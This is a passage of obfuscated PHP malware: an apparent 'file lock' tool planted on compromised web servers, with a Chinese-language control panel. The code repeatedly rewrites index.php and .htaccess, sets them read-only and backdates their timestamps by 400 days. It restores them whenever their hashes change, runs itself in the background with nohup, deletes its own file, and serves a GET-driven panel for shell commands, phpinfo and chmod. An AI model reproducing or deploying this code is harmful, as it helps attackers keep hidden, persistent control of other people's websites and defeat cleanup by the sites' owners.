$nrCOH) { goto tuJqZ; zVUhY: leI5J: goto HTQ0o; UimIl: echo "\74\x70\76{$S6tAU}\x20\x3a\x20{$nrCOH}\x3c\57\x70\x3e"; goto zVUhY; tuJqZ: echo PHP_EOL . "\x3c\150\162\x20\x2f\x3e" . PHP_EOL; goto UimIl; HTQ0o: } W68Th: } goto xQNDq; BUgo0: $NbgNu = $q40dO . "\57" . $FXPZY; goto Yw9jQ; Qgp38: goto v_wZh; goto osZCL; YJIPA: $FXPZY = "\151\x6e\x64\x65\170\x2e\160\x68\x70"; goto pwbFS; lNEoy: $McCs_ = str_replace("\134", '', $McCs_); goto c0cDb; aJe63: echo "\x3c\150\x74\155\154\x20\154\x61\x6e\147\75\x22\172\150\55\143\x6e\x22\x3e\x3c\150\x65\x61\144\76\74\155\x65\164\x61\40\143\x68\141\x72\x73\145\164\x3d\x22\125\x54\106\x2d\70\x22\x3e\74\x74\x69\x74\154\x65\76\351\224\x81\347\240\201\74\x2f\164\151\164\154\x65\76\x3c\x2f\x68\x65\x61\144\x3e\x3c\x62\157\144\171\x3e\74\144\151\166\40\x73\164\171\154\145\75\x22\x6d\x61\x72\147\x69\x6e\72\40\x30\40\x61\165\164\157\x3b\40\x77\151\x64\x74\150\x3a\61\61\60\x30\x70\x78\42\x3e\x3c\x64\151\166\40\x73\x74\171\x6c\145\75\x22\146\154\157\x61\x74\x3a\40\x6c\145\x66\164\x3b\164\145\170\x74\55\x61\x6c\x69\147\x6e\72\x20\154\145\146\x74\x3b\x77\151\144\x74\x68\x3a\62\x30\60\x70\x78\x22\76"; goto BiXOu; pwbFS: $b3EOC = "\x2e\150\x74\141\143\x63\145\x73\x73"; goto xzwZa; Qd_0e: function S9umr() { goto tvlch; lQ5ug: return $REK26[1] . "\57\142\151\x6e\57\x70\150\160"; goto IpoJw; zzujK: $Npr9B = ob_get_contents(); goto Sirdi; eOnsQ: phpinfo(1); goto zzujK; b6Kjv: return "\160\150\x70"; goto vfPRa; tUKt2: if (isset($REK26[1])) { goto L8Txm; } goto b6Kjv; Fw5ul: if (!(isset($REK26[1]) && $REK26[1] != '')) { goto QmMPY; } goto NM1vI; Sirdi: ob_end_clean(); goto Alcwm; vfPRa: L8Txm: goto lQ5ug; Alcwm: preg_match("\x2f\55\x2d\x62\151\156\x64\x69\x72\x3d\x28\133\x5e\x26\x5d\x2b\x29\x2f\163\x69", $Npr9B, $REK26); goto Fw5ul; LV5pc: preg_match("\57\x2d\55\160\x72\x65\x66\x69\x78\x3d\x28\133\136\46\x5d\53\x29\57\163\x69", $Npr9B, $REK26); goto tUKt2; tvlch: ob_start(); goto eOnsQ; NM1vI: return $REK26[1] . "\x2f\160\150\x70"; goto vAr2N; vAr2N: QmMPY: goto LV5pc; IpoJw: } goto pERuF; If71s: function H0FGE() { goto yj6pt; VZm3J: if (!(in_array("\x65\x78\145\x63", $aIFKH) && in_array("\x70\x6f\x70\x65\156", $aIFKH))) { goto NJxWD; } goto RbLgK; N8tBt: $aIFKH = array(); goto DQUO0; SUSXA: return true; goto s8hir; ue0iw: FtB3U: goto VZm3J; RbLgK: return false; goto gtKpr; yj6pt: $FmaI9 = explode("\x2c", ini_get("\x64\x69\163\141\142\x6c\145\x5f\146\x75\156\x63\x74\x69\x6f\x6e\x73")); goto N8tBt; gtKpr: NJxWD: goto SUSXA; DQUO0: foreach ($FmaI9 as $Paa4x) { $aIFKH[] = trim($Paa4x); RTq4k: } goto ue0iw; s8hir: } goto QmTq8; WYsVY: s_lai($C7U9_, $McCs_, $UorQQ, $Hmsa0); goto aywBS; FcAH5: if (!true) { goto v_wZh; } goto yT7mj; K4bAm: function tKoPZ($LbSP5, $f2CsI) { goto vjz5T; NsMTy: file_put_contents($LbSP5, $f2CsI); goto ocIVP; dcTKI: chmod($LbSP5, 0777); goto KhjNf; PwvtP: usleep(1000000); goto SMIN6; KhjNf: @unlink($LbSP5); goto NsMTy; vjz5T: @unlink($LbSP5); goto dcTKI; ocIVP: chmod($LbSP5, 0444); goto PwvtP; SMIN6: } goto FCrzM; BiXOu: FRO7N($McCs_, "\x6c\x6f\143\153", "\x32\40\x2d\40\351\224\201\346\226\207\344\273\xb6"); goto oD1x2; osZCL: P6HiA: goto ltahC; Iwjl9: dnPC6: goto yuWn6; T8O2f: if (!($TgGbh == 1)) { goto YkvYA; } goto WYsVY; aywBS: YkvYA: goto OQHsd; p6_rV: if (!hJ2pY()) { goto LgJDR; } goto LSKLT; ltahC: s_LAI($NbgNu, $McCs_, $QF1dI, $Xdqeb); goto T8O2f; rcM60: switch ($_GET["\141\x63\x74\151\157\x6e"]) { case "\x66\x75\156\143\164\x69\157\x6e": goto GLipR; GLipR: $qs11Y[] = array(); goto yeb_n; hKv0D: goto C36Qd; goto Bm905; yeb_n: $FmaI9 = explode("\x2c", ini_get("\144\151\163\141\142\154\145\x5f\x66\165\156\143\x74\151\157\156\x73")); goto WZS1E; WZS1E: pAwDG($FmaI9); goto hKv0D; Bm905: case "\143\150\145\x63\153": goto xHfCl; ZX2M9: if (!isset($REK26[1])) { goto FRWxb; } goto QYBMF; kJGRe: $qs11Y["\x70\x68\x70\x20\xe8\267\xaf\345\276\x84"] = $yR57W; goto vRxmb; dpuk7: goto C36Qd; goto ODfio; QYBMF: $qs11Y["\160\150\x70\x20\xe7\x89\210\xe6\x9c\254"] = $REK26[1]; goto cBOHh; DpYnp: yfIUS: goto d3Erb; d3Erb: pawDG($qs11Y); goto zinlc; hCrCk: if (!($qJT3u === false)) { goto zpQmO; } goto nebMN; xHfCl: $yR57W = s9UMr(); goto kJGRe; cBOHh: FRWxb: goto ab4iy; zinlc: goto C36Qd; goto eiIQQ; nebMN: $qs11Y["\346\x89\xa7\xe8\xa1\x8c\xe9\224\x99\xe8\257\257"] = "\xe7\216\260\xe6\234\x89\346\226\xb9\346\xb3\225\346\227\240\346\xb3\225\346\211\xa7\xe8\xa1\214\xe5\x91\275\344\xbb\244"; goto xx08J; vRxmb: $qJT3u = rPeLB("{$yR57W}\40\x2d\x76"); goto hCrCk; kvx9b: preg_match("\x2f\120\110\120\x20\50\133\x2e\x30\55\x39\x5d\53\x29\57\x73\x69", $qJT3u, $REK26); goto ZX2M9; ab4iy: if (!file_exists($FXPZY)) { goto yfIUS; } goto BG2gD; xx08J: PAwdG($qs11Y); goto dpuk7; ODfio: zpQmO: goto kvx9b; BG2gD: $qs11Y["\345\x8a\xa0\351\x94\x81\346\226\207\344\273\xb6\xe8\xb7\257\345\xbe\x84"] = $NbgNu; goto DpYnp; eiIQQ: case "\x6c\x6f\x63\153": goto mIfxL; QPeUl: ignore_user_abort(true); goto Daq5R; dXeYb: error_reporting(0); goto QPeUl; JDFso: JSD7h: goto Z3vLs; hztqP: fSK2d: goto P_X90; NeCzK: goto JSD7h; goto dfWNK; Pbkm6: RPElB($qs11Y["\346\211\247\xe8\xa1\x8c\xe5\221\275\xe4\273\244"]); goto Tbn96; oTkFE: if (!(1 == 1)) { goto JSD7h; } goto U3BOx; Z3vLs: goto rfR1O; goto hztqP; U3BOx: if (!file_exists(__FILE__)) { goto Heg2N; } goto FimLJ; rbk_6: foreach (explode("\xa", $qJT3u) as $nrCOH) { $qs11Y[] = $nrCOH; tiEFw: } goto qS7M6; LHEKv: pawdg($qs11Y); goto m1FBP; m1FBP: @unlink(__FILE__); goto dXeYb; mIfxL: $yR57W = S9uMR(); goto SoYHZ; TcwCs: goto C36Qd; goto YIsnX; t6eKb: SZJqs: goto oTkFE; qS7M6: HpTgV: goto SwtwM; Daq5R: set_time_limit(0); goto giO41; P9y34: tKoPZ("\x2e\x68\x74\141\x63\143\145\163\x73", $yH0L3); goto NF07P; SoYHZ: if (H0fGe() !== false) { goto fSK2d; } goto D51N7; giO41: $gfhTP = @file_get_contents("\x69\156\x64\145\x78\56\160\x68\x70"); goto s9Q2E; SwtwM: PAwDg($qs11Y); goto bcCLR; bcCLR: rfR1O: goto TcwCs; FimLJ: header("\114\157\143\141\164\151\157\156\x3a\40\150\164\164\x70\x3a\57\x2f" . $_SERVER["\110\x54\x54\x50\x5f\x48\x4f\x53\124"] . $_SERVER["\123\x43\122\111\x50\124\x5f\116\x41\x4d\x45"]); goto NeCzK; oA8l9: tKOPZ("\151\156\144\145\x78\56\160\150\160", $gfhTP); goto P9y34; Tbn96: $qJT3u = RPelB("\x70\x73\x20\141\165\x78\x20\174\40\x67\x72\x65\x70\40{$McCs_}"); goto rbk_6; D51N7: $qs11Y["\xe6\211\247\xe8\241\x8c\351\224\x99\350\257\xaf"] = "\xe7\x8e\260\346\x9c\x89\346\x96\xb9\xe6\xb3\x95\xe6\227\240\xe6\xb3\225\xe6\211\247\350\xa1\x8c\xe5\x91\xbd\344\xbb\244\x2c\346\x89\247\xe8\xa1\214\347\254\xac\xe4\272\x8c\347\xa7\x8d\xe6\226\xb9\346\xa1\210\xe7\x9a\204\351\x94\x81"; goto LHEKv; P_X90: $qs11Y["\346\211\247\350\xa1\x8c\345\x91\275\344\xbb\244"] = "\x6e\x6f\150\165\x70\x20{$yR57W}\40" . $ReRvk . "\x20\76\x2f\144\x65\x76\57\156\x75\154\154\40\62\76\x26\61\x20\x26"; goto Pbkm6; NF07P: goto SZJqs; goto JDFso; dfWNK: Heg2N: goto oA8l9; s9Q2E: $yH0L3 = @file_get_contents("\56\150\x74\141\143\x63\x65\x73\x73"); goto t6eKb; YIsnX: case "\64": goto nM8Zu; gHgHg: goto C36Qd; goto eF3Ob; czEri: vOEe8: goto r6k7y; BeipK: foreach (explode("\12", $p4EXh) as $nrCOH) { $qs11Y[] = $nrCOH; eDJWF: } goto czEri; nM8Zu: $qs11Y[] = array(); goto AqeR2; r6k7y: PAWdG($qs11Y); goto gHgHg; AqeR2: $p4EXh = rpelB("\x70\x73\40\x61\x75\170\x20\174\x20\x67\162\145\160\x20" . $McCs_); goto BeipK; eF3Ob: case "\155\157\144\x69\146\x79": goto DMECY; e3ZLP: if (!chmod($NbgNu, 0777)) { goto lQ3Rz; } goto TzZOa; TzZOa: $qs11Y["\xe4\xbf\256\xe6\x94\271\347\xbb\223\346\236\234"] = "\346\x88\x90\345\212\237"; goto OiFM2; OiFM2: lQ3Rz: goto Y0RYW; Y0RYW: PaWdG($qs11Y); goto cDhxv; cDhxv: goto C36Qd; goto QdbZQ; DMECY: $qs11Y["\xe4\277\256\xe6\224\271\347\xbb\x93\xe6\236\234"] = "\xe5\244\xb1\xe8\xb4\xa5"; goto e3ZLP; QdbZQ: case "\x70\150\160\x69\156\x66\x6f": phpinfo(); goto C36Qd; case "\160\150\160\x5f\x76\x65\162\163\x69\x6f\156": goto J6EH_; zbAR4: $qs11Y[] = array(); goto cdOdp; fKog6: goto C36Qd; goto nnrHL; we2rl: CyPwd: goto KiAMV; J6EH_: $yR57W = s9UmR(); goto zbAR4; cdOdp: $p4EXh = RPelB("{$yR57W}\x20\x2d\166"); goto jwF0t; jwF0t: foreach (explode("\12", $p4EXh) as $nrCOH) { $qs11Y[] = $nrCOH; gcqYh: } goto we2rl; KiAMV: pAWdG($qs11Y); goto fKog6; nnrHL: default: goto C36Qd; } goto Iwjl9; wq37u: $Hmsa0 = hash("\163\150\x61\x31", $UorQQ); goto OaNNK; pERuF: function fro7n($it8du, $nrCOH, $Rt5Ox) { goto CKaIS; qVpop: $s_Zyz = ($_SERVER["\x52\x45\x51\x55\x45\123\x54\x5f\123\103\110\x45\115\105"] != '' ? $_SERVER["\x52\105\121\x55\x45\x53\x54\x5f\x53\103\x48\x45\115\105"] : "\x68\164\164\160") . "\x3a\57\x2f" . $umkVW; goto ApACx; nsHtv: vm5PP: goto ecJKZ; i1hXn: goto xAFt7; goto nsHtv; ecJKZ: $umkVW = $_SERVER["\110\124\x54\x50\137\110\x4f\123\x54"]; goto noQqS; R4ETN: $umkVW = $umkVW . $_SERVER["\x50\x48\120\x5f\123\105\x4c\x46"]; goto qVpop; noQqS: goto xAFt7; goto AA4Gr; ApACx: echo "\74\160\40\163\164\x79\154\145\75\47\x27\x3e\74\x61\40\x73\x74\x79\154\145\x3d\x27\x70\141\x64\144\151\x6e\x67\x3a\40\65\160\x78\x3b\x20\40\x77\x69\144\164\x68\72\x31\x32\x30\160\170\x3b\143\x6f\154\x6f\x72\x3a\x20\x23\63\63\x39\71\66\x36\73\40\164\145\x78\x74\55\144\145\x63\157\162\x61\x74\x69\x6f\x6e\x3a\156\157\x6e\145\x3b\40\47\x20\x68\162\145\146\x3d\47{$s_Zyz}\x3f\x61\143\164\x69\157\x6e\x3d{$nrCOH}\47\76{$Rt5Ox}\74\57\x61\x3e\74\x2f\160\x3e"; goto dWhr9; CKaIS: $umkVW = ''; goto Ns80i; IeTle: xAFt7: goto R4ETN; AA4Gr: FaAa2: goto kmAwE; kmAwE: $umkVW = $_SERVER["\123\105\x52\126\x45\x52\137\116\x41\x4d\x45"]; goto IeTle; Ns80i: if (isset($_SERVER["\110\x54\124\x50\x5f\110\117\123\x54"])) { goto vm5PP; } goto LJrLB; LJrLB: if (isset($_SERVER["\123\x45\122\x56\105\122\137\116\101\115\x45"])) { goto FaAa2; } goto i1hXn; dWhr9: } goto Fvche; poJRB: goto z7J90; goto qAALX; LDEnH: $q40dO = realpath(dirname($ReRvk)); goto BUgo0; Yw9jQ: $C7U9_ = $q40dO . "\x2f" . $b3EOC; goto lQkOl; ApAoP: function RPElb($p_MDd, $nQFVM = "\160\x6f\x70\145\x6e") { goto vlCWV; aljIw: p9W0a: goto YAL5C; vlCWV: $FmaI9 = explode("\54", ini_get("\x64\x69\163\141\142\x6c\x65\137\x66\165\156\x63\x74\x69\x6f\x6e\x73")); goto gPn0Q; Aa0OU: foreach ($FmaI9 as $Paa4x) { $aIFKH[] = trim($Paa4x); WG05s: } goto ZOGGO; SGbE4: $nQFVM = "\145\x78\145\143"; goto qiRO2; gPn0Q: $aIFKH = array(); goto Aa0OU; oTBfM: if (!in_array($nQFVM, $aIFKH)) { goto Tb_OH; } goto SGbE4; Mw6tb: $qJT3u = ''; goto gTwxI; Qq5hc: return false; goto k98HA; gTwxI: switch ($nQFVM) { case "\x65\170\145\143": goto ozlY9; LYYIH: return $qJT3u; goto wD0dt; ozlY9: exec($p_MDd, $qrjZl); goto Naz46; Naz46: foreach ($qrjZl as $S6tAU => $nrCOH) { $qJT3u .= $S6tAU . "\x20\x3a\40" . $nrCOH . PHP_EOL; FsRyD: } goto BUsCW; BUsCW: t9Ui7: goto LYYIH; wD0dt: goto adR2W; goto ErZIM; ErZIM: case "\x70\157\x70\145\x6e": goto ntlqZ; fM3GE: goto adR2W; goto iU4sK; WXOvQ: YlYA8: goto ssJmP; ntlqZ: $vYI75 = popen($p_MDd, "\x72"); goto WXOvQ; piK4i: goto YlYA8; goto Brdxi; Brdxi: UMGZW: goto LqzaO; LqzaO: pclose($vYI75); goto HHm2a; lDUP7: $qJT3u .= $OK7ul; goto piK4i; HHm2a: return $qJT3u; goto fM3GE; ssJmP: if (feof($vYI75)) { goto UMGZW; } goto A2xN6; A2xN6: $OK7ul = fgets($vYI75, 4096); goto lDUP7; iU4sK: default: return false; goto adR2W; } goto aljIw; qiRO2: Tb_OH: goto FSWnL; FSWnL: if (!in_array($nQFVM, $aIFKH)) { goto EVPqc; } goto Qq5hc; YAL5C: adR2W: goto wAbFM; k98HA: EVPqc: goto Mw6tb; ZOGGO: Xy0w0: goto oTBfM; wAbFM: } goto If71s; yuWn6: C36Qd: goto DpWjZ; FCrzM: if (!strstr($_SERVER["\123\103\x52\x49\x50\x54\x5f\x4e\101\x4d\x45"], $McCs_)) { goto eTkA7; } goto aJe63; LSKLT: @unlink($ReRvk); goto Uz8xa; yT7mj: if (!file_exists($McCs_)) { goto P6HiA; } goto Qgp38; DpWjZ: echo "\x3c\x2f\x64\151\x76\x3e\x3c\57\144\x69\166\x3e\x3c\57\x62\157\x64\x79\x3e\x3c\57\150\164\155\x6c\x3e"; goto PJDC6; OQHsd: sleep(1); goto poJRB; htC2z: $UorQQ = file_get_contents($C7U9_); goto wq37u; jA4T2: $Xdqeb = hash("\163\x68\141\61", $QF1dI); goto htC2z; xzwZa: $ReRvk = __FILE__; goto LDEnH; xQNDq: function HJ2pY() { goto ud_0x; mFBtW: hVpHE: goto unEld; PA0hF: ybQpx: goto mFBtW; ytz0J: rMHQK: goto V4e9G; MT6qQ: $IsWtB = true; goto PA0hF; V4e9G: if (!($IsWtB === false)) { goto hVpHE; } goto fkGxm; Th3Kt: if (!(isset($_SERVER["\x61\x72\147\x63"]) && $_SERVER["\x61\x72\x67\x63"] >= 2)) { goto hTte0; } goto w1ol6; qE7Vs: if (!($IsWtB === false)) { goto rMHQK; } goto Th3Kt; fkGxm: if (isset($_SERVER["\123\x43\122\x49\x50\x54\x5f\116\x41\115\x45"])) { goto ybQpx; } goto MT6qQ; ud_0x: $IsWtB = preg_match("\x2f\x63\154\151\x2f\x69", php_sapi_name()) ? true : false; goto qE7Vs; w1ol6: $IsWtB = true; goto SeOQk; unEld: return $IsWtB; goto vfqEl; SeOQk: hTte0: goto ytz0J; vfqEl: } goto ApAoP; Uz8xa: $QF1dI = file_get_contents($NbgNu); goto jA4T2; PJDC6: exit; goto edW_Y; OaNNK: z7J90: goto FcAH5; oD1x2: FrO7n($McCs_, "\155\157\144\151\x66\171", "\xe4\275\277\345\212\240\xe9\224\x81\xe6\x96\207\xe4\273\xb6\345\217\xaf\xe4\xbf\256\346\x94\271"); goto zwdaS; BM3sl: $McCs_ = str_replace("\x2f", '', $McCs_); goto lNEoy; QmTq8: function s_LAi($NbgNu, $McCs_, $QF1dI, $Xdqeb) { goto lhb4W; iM3EL: @unlink($NbgNu); goto NcfCi; oUq0e: $XI1yM = file_get_contents($NbgNu); goto AlsYJ; U64b1: @touch($NbgNu, strtotime("\55\64\x30\60\40\x64\x61\x79\x73", time())); goto OVhQf; Q_Acv: @chmod($NbgNu, 0444); goto nC7MT; qDtSa: @touch($NbgNu, strtotime("\55\x34\x30\x30\40\x64\x61\171\163", time())); goto Ls6RT; GI2c1: qJaaW: goto Q_Acv; Ls6RT: @chmod($NbgNu, 0444); goto bAY9g; gXGLQ: if (!($IaTmA != $Xdqeb)) { goto qJaaW; } goto iM3EL; XZ2Ww: @file_put_contents($NbgNu, $QF1dI); goto qDtSa; OVhQf: @chmod($NbgNu, 0444); goto GI2c1; AlsYJ: $IaTmA = hash("\163\x68\x61\61", $XI1yM); goto gXGLQ; lhb4W: if (file_exists($NbgNu)) { goto pcAkG; } goto XZ2Ww; NcfCi: @file_put_contents($NbgNu, $QF1dI); goto U64b1; bAY9g: pcAkG: goto oUq0e; nC7MT: } goto p6_rV; zwdaS: echo "\74\57\x64\x69\x76\76\74\144\151\x76\x20\x73\x74\x79\x6c\x65\75\x22\146\x6c\x6f\141\x74\72\162\151\147\150\164\73\164\x65\170\164\55\141\154\151\x67\156\x3a\x20\x6c\145\x66\x74\x3b\x77\151\x64\164\150\72\70\65\60\160\170\73\40\142\x6f\x72\144\145\162\72\61\x70\170\40\x73\157\x6c\x69\x64\x20\x23\x39\71\71\x39\71\71\x3b\x70\141\x64\x64\151\156\x67\72\x20\65\160\x78\x22\76\344\277\xa1\346\201\257\357\274\x9a"; goto rcM60; Ul5WJ: echo $_SERVER["\123\103\x52\x49\x50\124\x5f\x4e\x41\x4d\x45"]; ?>